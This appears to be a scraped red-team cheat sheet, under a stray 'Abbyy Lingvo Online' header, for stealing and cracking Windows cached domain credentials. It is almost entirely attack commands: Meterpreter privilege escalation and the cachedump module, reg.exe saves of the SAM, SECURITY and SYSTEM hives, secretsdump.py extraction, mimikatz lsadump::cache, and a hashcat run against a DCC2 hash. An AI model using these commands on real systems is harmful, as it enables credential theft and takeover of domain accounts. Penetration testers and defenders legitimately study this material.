Abbyy Lingvo Online

attacker@kali

getuid
getsystem
use post/windows/gather/cachedump
run

attacker@victim

reg.exe save hklm\sam c:\temp\sam.save
reg.exe save hklm\security c:\temp\security.save
reg.exe save hklm\system c:\temp\system.save

attacker@kali

secretsdump.py -sam sam.save -security security.save -system system.save LOCAL

lsadump::cache

$DCC2$10240#username#hash

echo ; cat hashes.txt ; echo ; cut -d ":" -f 2 hashes.txt

attacker@kali

hashcat -m2100 '$DCC2$10240#spot#3407de6ff2f044ab21711a394d85f3b8' /usr/share/wordlists/rockyou.txt --force --potfile-disable

HKEY_LOCAL_MACHINE\SECURITY\Cache